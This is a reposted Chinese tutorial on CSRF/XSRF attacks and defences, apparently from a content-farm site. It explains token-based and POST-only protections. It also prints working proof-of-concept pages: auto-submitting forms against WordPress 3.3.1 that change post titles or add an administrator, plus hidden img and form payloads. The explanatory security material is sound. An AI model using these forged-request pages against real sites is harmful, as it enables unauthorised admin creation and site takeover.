www.2003.comXSRF 的攻击与防范

2019-05-02 作者:计算机教程   |   浏览(76)

CSRF 详解与攻防实战

2016/10/27 · 基础技术 · CSRF

原文出处: 王下邀月熊_Chevalier   

官方定义

CSRF(Cross-site request forgery跨站请求伪造,也被称成为“one click attack”或者session riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而XSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,XSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

攻击通过在授权用户访问的页面中包含链接或者脚本的方式工作。例如:一个网站用户Bob可能正在浏览聊天论坛,而同时另一个用户Alice也在此论坛中,并且后刚刚发布了一个具有Bob银行链接的图片消息。设想一下,Alice编写了一个在Bob的银行站点上进行取款的form提交的链接,并将此链接作为图片tag。如果Bob的银行在cookie中保存他的授权信息,并且此cookie没有过期,那么当Bob的浏览器尝试装载图片时将提交这个取款form和他的cookie,这样在没经Bob同意的情况下便授权了这次事务。

XSRF是一种依赖web浏览器的、被混淆过的代理人攻击(deputy attack)。在上面银行示例中的代理人是Bob的web浏览器,它被混淆后误将Bob的授权直接交给了Alice使用。

下面是XSRF的常见特性:

  1. 依靠用户标识危害网站
  2. 利用网站对用户标识的信任
  3. 欺骗用户的浏览器发送HTTP请求给目标站点

风险在于那些通过基于受信任的输入form和对特定行为无需授权的已认证的用户来执行某些行为的web应用。已经通过被保存在用户浏览器中的cookie进行认证的用户将在完全无知的情况下发送HTTP请求到那个信任他的站点,进而进行用户不愿做的行为。

Cross Site Request Forgery

CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。CSRF与XSS在攻击手段上有点类似,都是在客户端执行恶意代码,有些文章中认为CSRF与XSS的区别在于CSRF不注重于获取用户Cookie,笔者认为可能还有区别在于CSRF不仅可以在源站发起攻击,还可以引导用户访问其他危险网站的同时发起攻击。XSS全程是跨站脚本攻击,即攻击者向某个Web页面中插入恶意的JavaScript脚本,而当普通用户访问时,该恶意脚本自动执行而从盗取用户的Cookie等信息。对于XSS的防御手段主要就是输入检查与输出检查,譬如对用户输入的文本框内容进行<、>这样的特殊字符检查。而输出检查则是指对于输出到网页的内容进行过滤或者编解码,譬如使用HTML编码将<转义。CSRF为跨站请求伪造,其与XSS有点类似,不过区别在于CSRF不一定依赖于JavaScript,并且不仅可以在源站发起攻击,还有可能当用户访问恶意网站时引导其访问原网站。CSRF攻击是源于WEB的隐式身份验证机制,WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的。对于CSRF的防御也分为服务端防御与客户端防御两种,服务端防御典型的譬如给某个页面添加随机数,使得无法从第三方页面直接提交。在客户端防御的话可以利用譬如Firefox提供的一些检查工具。注意,CSRF并没有打破同源策略。

www.2003.com 1

以下面的这个例子来说:银行网站A,它以GET请求来完成银行转账的操作,如:http://www.mybank.com/Transfer.php?toBankId=11&money=1000危险网站B,它里面有一段HTML的代码如下:

XHTML

<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000&gt;

1
<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

银行网站A违反了HTTP规范,使用GET请求更新资源。在访问危险网站B的之前,你已经登录了银行网站A,而B中的<img>以GET的方 式请求第三方资源(这里的第三方就是指银行网站了,原本这是一个合法的请求,但这里被不法分子利用了),所以你的浏览器会带上你的银行网站A的 Cookie发出Get请求,去获取资源“http://www.mybank.com/Transfe… money=1000”,结果银行网站服务器收到请求后,认为这是一个更新资源操作(转账操作),所以就立刻进行转账操作。参考深入解析跨站请求伪造漏洞:原理剖析(中所述,XSS与CSRF的区别在于:

  • XSS攻击需要JavaScript,而CSRF攻击不需要。
  • XSS攻击要求站点接受恶意代码,而对于CSRF攻击来说,恶意代码位于第三方站点上。过滤用户的输入可以防止恶意代码注入到某个站点,但是它无阻止法恶意代码在第三方站点上运行。

草根版本

简单的说,XSRF就是可以让黑客借用受害者的身份干点坏事。

比如,从你的银行账户上转点钱到他账户上(借用你的身份转账);创建系统账号(借用受信的管理员的身份创建帐号)等等。

为了实施XSRF,攻击这需要具备以下几个条件:

v???? 攻击者需要了解受害者所在的站点

对于公开的网站这一点不成问题,对于后台管理系统,不同管理员间的欺骗也有可能发生,甚至管理系统的原开发团队别有用心的成员也有可能发动对系统的攻击。

v???? 攻击者的目标站点具有持久化的授权cookie或是当前会话Cookie。

很多公开站点拥有“记住我”功能,用户往往也非常喜欢这样的功能,攻击者还可以使用欺诈的办法诱导受害者登陆以便拥有当前会话Cookie。对于后台管理系统,一般操作员在工作时间始终保持登陆状态,攻击者很容易利用当前会话Cookie发动攻击。

v???? 目标站点没有对用户动作进行二次授权。

由于XSRF不怎么明显,所以大多数网站并没有进行很好的防御,甚至像Baidu这样的大型互联网企业的网站都没有进行针对的防范。

根据上面的分析,攻击条件实际上是很容易满足的。所以XSRF的危害非常大,而且实施难度也比较低。

比如在系统中有一个这样的表单:

<form action=”adminManage.jsp”>

<input type=”hidden” name=”action” value=”add”/>

<input type=”text” name=”name” value=””/>

<input type=”password” name=”password” value=””/>

<input type=”submit” value=”Create”/>

</form>

最简单的攻击方式是直接发送一个执行系统某个操作的链接给受害者,比如:

此时,假如受害者打开这个页面,实际上他就执行了创建管理员的动作。这显然不是他想要的。

当然上面的攻击方式很明显,很容易被受害者发现,不过攻击者也一般都很聪明的。他可以使用短域名服务来对上面的攻击地址进行处理,让管理员看不出什么是做什么用的连接,当然还是不够Smart,因为浏览器会停留在创建管理员成功的页面。

那么这样呢?

<img src=”” width=0 height=0/>

当受害者打开包含这样代码的页面的时候,在不知不觉中,一个管理员被创建了。受害者不会有任何感觉。

上面的攻击方式都有一个共同点,就是系统接受GET请求。现在我们深入一步,使用POST。

使用POST最简单的方式是发动第三方站点参与攻击,攻击者诱骗受害者打开污染的页面,污染的页面里的JavaScript强制提交一个攻击者伪造的表单,同样实现了XSRF攻击的效果。

比如:

<form id=”form” action=”http://xxx.com/admin/adminManage.jsp”&gt;

<input type=”hidden” name=”action” value=”add”/>

<input type=”text” name=”name” value=”hello”/>

<input type=”password” name=”password” value=”world”/>

<input type=”submit” value=”Create”/>

</form>

<script type=”text/javascript”>

document.getElementById(“form”).submit());

</script>

这样的一个页面很简单的就实现了针对漏洞系统的XSRF攻击。为了更隐蔽,黑客可以用CSS把表单隐藏起来。甚至更隐蔽一些,把整个攻击页面用IFRAME嵌入到正常页面中,同时把IFRAME的宽高设置为0。

XSRF通常还会和XSS结合来进行更高级的攻击,甚至可以创建在网站上自动传播的蠕虫病毒,而采用的技术却非常简单。这部分攻击技术比较复杂,不在这里讨论。

要防范XSRF攻击,当然是要想办法让黑客没法满足实施攻击的条件,返回去看XSRF攻击的条件及分析,显然,我们只能从第三点入手。为了方便理解防范XSRF攻击的原理,这里举一个极端的例子:我们在每一个业务动作中要求用户登录。这样就彻底的杜绝了XSRF。但是问题也很明显,用户根本无法接受,可用性太差了。

防范XSRF的核心思想就是用一个黑客得不到的变量来做二次认证,比如让用户登录,黑客是不能轻易拿到别人的用户名密码的。

防范XSRF,我们需要实施的具体措施包括:

1、??????????????? 严格过滤用户输入,慎重处理信息显示输出。防范Injection/XSS漏洞的产生。如果一个网站存在XSS漏洞,很难甚至是几乎不可能保证它不存在XSRF漏洞。

2、??????????????? GET方法只用于读取和显示数据,所有的需要向服务器提交数据或修改数据的请求一律使用POST方法。使用POST方法不能防范XSRF,但是会提高攻击的门槛。而且也更符合HTTP/HTML的语义以及RFC2616的推荐规范。

3、??????????????? 最重要的,在所有的POST数据中添加一个不可预知的参数。可以是一个随机数,或是时间相关的HASH值,或是其他不可预知的值,通常称为Token。Token必须和会话绑定,Token可以保存到Cookie或是Session中。每一个POST动作中比较提交上来的Token参数和与会话绑定的Token值是否匹配,以确定是否为合法请求。

原因浅析

CSRF攻击是源于WEB的隐式身份验证机制,WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的。假设Alice访问了一个恶意站点M,该站点提供的内容中的JavaScript代码或者图像标签会导致Alice的浏览器向站点T发送一个HTTP请 求。由于该请求是发给站点T的,所以Alice的浏览器自动地给该请求附上与站点T对应的该会话cookie的sid。站点T看到该请求时,它就能通过该 cookie的推断出:该请求来自Alice,所以站点T就会对Alice的帐户执行所请求的操作。这样,CSRF攻击就能得逞了。其他大多数Web认证机制也面临同样的问题。例如,HTTP BasicAuth机制会要求Alice告诉浏览器她在站点T上的用户名和口令,于是浏览器将用户名和口令附加到之后发给站点T的请求中。当然,站点T也 可能使用客户端SSL证书,但这也面临同样的问题,因为浏览器也会将证书附加到发给站点T的请求中。类似的,如果站点T通过IP地址来验证Alice的身 份的话,照样面临CSRF攻击的威胁。总之,只要身份认证是隐式进行的,就会存在CSRF攻击的危险,因为浏览器发出请求这一动作未必是受用户的指使。原则上,这种威胁可以通过对每个发送至该 站点的请求都要求用户进行显式的、不可欺骗的动作(诸如重新输入用户名和口令)来消除,但实际上这会导致严重的易用性问题。大部分标准和广泛应用的认证机 制都无法防止CSRF攻击,所以我们只好另外探求一个实用的解决方案。

For java Applications

www.2003.com 2

Diagram.1

对于java应用来说,我们在业务和页面展现之间加入个AntiXSRFFilter,对每一个请求生成Token(也可以共享Token),对每一个业务动作(POST)验证Token参数合法性,就可以实现XSRF的防范。对于以前未进行防范的应用,首先需要修改以便保证所有的业务动作只接受POST请求,然后修改每一个表单,在表单中加入Token参数。

Reference

For .NET Applications

Read

ASP.NET 的ViewState可以被加密,达到防CSRF的目的。具体参见上面链接。

原文链接:http://www.qiyeku.com/xinwen/699638.html

Exploits

本部分我们来看几个基于CSRF攻击的实例,包括简单的基于表单POST请求的攻击 ,其可以诱导用户点击.submit() 按钮既可以发起攻击。其他的还有稍微复杂一点的www.2003.com,跨域文件上传CSRF攻击 ,其主要使用了 CORS use of the xhr.withCredentals behavior

WordPress 3.3.1 Multiple CSRF Vulnerabilities

该漏洞是由Ivano Binetti在2012年3月19号发现的,影响了WordPress 3.3.1版本,CVE编号CVE-2012-1936。WordPress是众所周知的博客平台,该漏洞可以允许攻击者修改某个Post的标题,添加管理权限用户以及操作用户账户,包括但不限于删除评论、修改头像等等。具体的列表如下:

  • Add Admin/User
  • Delete Admin/User
  • Approve comment
  • Unapprove comment
  • Delete comment
  • Change background image
  • Insert custom header image
  • Change site title
  • Change administrator’s email
  • Change WordPress Address
  • Change Site Address

那么这个漏洞实际上就是攻击者引导用户先进入目标的WordPress,然后点击其钓鱼站点上的某个按钮,该按钮实际上是表单提交按钮,其会触发表单的提交工作,核心的Exploit代码为:

XHTML

<html> <body onload="javascript:document.forms[0].submit()"> <h2>CSRF Exploit to change post title</h2> <form method="POST" name="form0" action="http://&lt;wordpress_ip&gt;:80/wp-admin/admin-ajax.php"&gt; <input type="hidden" name="post_title" value="hackedtitle"> <input type="hidden" name="post_name" value="hackedtitle"> <input type="hidden" name="mm" value="03"> <input type="hidden" name="jj" value="16"> <input type="hidden" name="aa" value="2012"> <input type="hidden" name="hh" value=""> <input type="hidden" name="mn" value=""> <input type="hidden" name="ss" value=""> <input type="hidden" name="post_author" value="1"> <input type="hidden" name="post_password" value=""> <input type="hidden" name="post_category[]" value="0"> <input type="hidden" name="post_category[]" value="1"> <input type="hidden" name="tax_input[post_tag]" value=""> <input type="hidden" name="comment_status" value="open"> <input type="hidden" name="ping_status" value="open"> <input type="hidden" name="_status" value="publish"> <input type="hidden" name="post_format" value="0"> <input type="hidden" name="_inline_edit" value="<sniffed_value>"> <input type="hidden" name="post_view" value="list"> <input type="hidden" name="screen" value="edit-post"> <input type="hidden" name="action" value="inline-save"> <input type="hidden" name="post_type" value="post"> <input type="hidden" name="post_ID" value="1"> <input type="hidden" name="edit_date" value="true"> <input type="hidden" name="post_status" value="all"> </form> </body> </html>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<html>
<body onload="javascript:document.forms[0].submit()">
  <h2>CSRF Exploit to change post title</h2>
  <form method="POST" name="form0" action="http://<wordpress_ip>:80/wp-admin/admin-ajax.php">
    <input type="hidden" name="post_title" value="hackedtitle">
    <input type="hidden" name="post_name" value="hackedtitle">
    <input type="hidden" name="mm" value="03">
    <input type="hidden" name="jj" value="16">
    <input type="hidden" name="aa" value="2012">
    <input type="hidden" name="hh" value="">
    <input type="hidden" name="mn" value="">
    <input type="hidden" name="ss" value="">
    <input type="hidden" name="post_author" value="1">
    <input type="hidden" name="post_password" value="">
    <input type="hidden" name="post_category[]" value="0">
    <input type="hidden" name="post_category[]" value="1">
    <input type="hidden" name="tax_input[post_tag]" value="">
    <input type="hidden" name="comment_status" value="open">
    <input type="hidden" name="ping_status" value="open">
    <input type="hidden" name="_status" value="publish">
    <input type="hidden" name="post_format" value="0">
    <input type="hidden" name="_inline_edit" value="<sniffed_value>">
    <input type="hidden" name="post_view" value="list">
    <input type="hidden" name="screen" value="edit-post">
    <input type="hidden" name="action" value="inline-save">
    <input type="hidden" name="post_type" value="post">
    <input type="hidden" name="post_ID" value="1">
    <input type="hidden" name="edit_date" value="true">
    <input type="hidden" name="post_status" value="all">
  </form>
</body>
</html>

另一个测试用例时添加某个具有管理员权限的用户,测试用例为:

XHTML

<html> <body onload="javascript:document.forms[0].submit()"> <h2>CSRF Exploit to add Administrator</h2> <form method="POST" name="form0" action="http://&lt;wordpress_ip&gt;:80/wp-admin/user-new.php"&gt; <input type="hidden" name="action" value="createuser"> <input type="hidden" name="_wpnonce_create-user" value="<sniffed_value>"> <input type="hidden" name="_wp_http_referer" value="/wordpress/wp-admin/user-new.php"> <input type="hidden" name="user_login" value="admin2"> <input type="hidden" name="email" value="admin2@admin.com"> <input type="hidden" name="first_name" value="admin2@admin.com"> <input type="hidden" name="last_name" value=""> <input type="hidden" name="url" value=""> <input type="hidden" name="pass1" value="password"> <input type="hidden" name="pass2" value="password"> <input type="hidden" name="role" value="administrator"> <input type="hidden" name="createuser" value="Add New User "> </form> </body> </html>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<html>
<body onload="javascript:document.forms[0].submit()">
  <h2>CSRF Exploit to add Administrator</h2>
  <form method="POST" name="form0" action="http://<wordpress_ip>:80/wp-admin/user-new.php">
    <input type="hidden" name="action" value="createuser">
    <input type="hidden" name="_wpnonce_create-user" value="<sniffed_value>">
    <input type="hidden" name="_wp_http_referer" value="/wordpress/wp-admin/user-new.php">
    <input type="hidden" name="user_login" value="admin2">
    <input type="hidden" name="email" value="admin2@admin.com">
    <input type="hidden" name="first_name" value="admin2@admin.com">
    <input type="hidden" name="last_name" value="">
    <input type="hidden" name="url" value="">
    <input type="hidden" name="pass1" value="password">
    <input type="hidden" name="pass2" value="password">
    <input type="hidden" name="role" value="administrator">
    <input type="hidden" name="createuser" value="Add New User ">
  </form>
</body>
</html>

本文由www.2003.com发布于计算机教程,转载请注明出处:www.2003.comXSRF 的攻击与防范

关键词: